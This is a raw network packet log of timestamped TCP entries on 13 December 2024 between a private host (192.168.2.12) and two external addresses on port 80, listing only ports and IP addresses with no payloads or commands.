Dec 13, 2024 07:49:27.097623110 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097634077 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097641945 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097660065 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097668886 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097700119 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098143101 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098222017 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098232985 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098272085 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098280907 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098336935 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098347902 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098392010 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098400116 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098429918 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098491907 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098500013 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098550081 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098560095 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098608971 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098618031 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098628044 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098726034 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098735094 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098750114 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.098767042 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099154949 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099164009 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099215031 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099224091 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099282026 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099292040 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099348068 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099358082 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099366903 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099375963 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099421024 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099431038 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099442959 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099987030 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.099997044 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100048065 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100058079 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100107908 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100117922 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100162029 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100172043 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100197077 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100275040 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100284100 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100292921 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100406885 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100415945 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100425005 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100433111 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100758076 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100768089 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100778103 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100882053 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100891113 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100898981 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100908041 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100917101 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100925922 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100944996 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100954056 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100963116 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100971937 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100980997 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100989103 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.100996971 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101007938 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101016045 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101025105 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101032972 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101547003 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101557016 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101569891 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101620913 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101630926 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101670980 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101713896 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101722956 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101733923 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101819992 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101829052 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101838112 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101887941 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101907969 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101917028 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.101958036 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102075100 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102085114 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102092981 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102103949 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102113008 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102121115 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102607965 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102617979 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102627039 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102670908 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102680922 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102737904 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102747917 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102766037 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102775097 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102793932 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102798939 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102890015 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102899075 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102930069 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.102938890 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103002071 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103033066 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103064060 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103084087 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103142977 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103188038 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103198051 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103230000 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103805065 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103813887 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103825092 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103833914 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103843927 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103863001 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103872061 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.103912115 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104018927 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104027987 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104038000 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104077101 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104085922 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104094982 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104199886 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104212046 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104219913 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104228020 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104523897 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104533911 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104593992 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104603052 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104646921 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104691982 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104743004 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104752064 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104792118 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104840040 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104886055 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104895115 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104904890 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104947090 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104955912 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.104995966 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105042934 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105053902 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105119944 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105129004 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105238914 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105633974 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105643034 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105654955 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105664968 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105684996 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105694056 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105731964 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105741978 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105758905 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105767965 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105799913 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105818033 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105843067 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105871916 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105884075 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105901957 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105967045 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.105976105 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106435061 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106446028 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106525898 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106534958 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106564999 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106651068 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106659889 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106667995 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106707096 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106715918 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106724977 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106744051 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106751919 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106796026 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106805086 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106842041 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106851101 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.106884003 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107362032 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107381105 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107389927 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107409000 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107419014 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107505083 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107513905 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107531071 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107539892 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107848883 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107857943 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.107867002 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108097076 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108115911 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108124018 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108170986 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108180046 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108226061 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108234882 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108247042 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108264923 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108302116 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108346939 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108355999 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.108408928 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.868242979 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:27.868364096 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:27.869801998 CET	49713	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.870083094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.989527941 CET	80	49713	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.989780903 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.989873886 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.993885040 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.993999958 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994098902 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994121075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994178057 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994178057 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994196892 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994230986 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994267941 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994326115 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994326115 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994348049 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994374990 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994395971 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994419098 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994443893 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994469881 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994491100 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994514942 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994539976 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994560957 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994582891 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994606972 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994631052 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994672060 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994699001 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994738102 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994764090 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994786024 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994812012 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994841099 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994858980 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994888067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994908094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994934082 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994957924 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.994982958 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995006084 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995029926 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995058060 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995090008 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995114088 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995151043 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995178938 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995198011 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995220900 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995246887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995271921 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995300055 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995609045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995635033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995635033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995635033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995635033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995635033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995651007 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995673895 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995703936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995719910 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995742083 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995764971 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995790005 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995814085 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995845079 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995862961 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995897055 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995927095 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995954990 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.995976925 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996006966 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996032953 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996062994 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996081114 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996108055 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996125937 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996156931 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996177912 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996200085 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996220112 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996248007 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996273994 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996313095 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996335030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996370077 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996387959 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996411085 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996433020 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996458054 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996478081 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996500969 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996527910 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996548891 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996572971 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996592999 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996619940 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996655941 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996676922 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996723890 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996738911 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996764898 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996784925 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996814013 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996834993 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996865034 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996882915 CET	49725	80	192.168.2.12	185.81.68.148
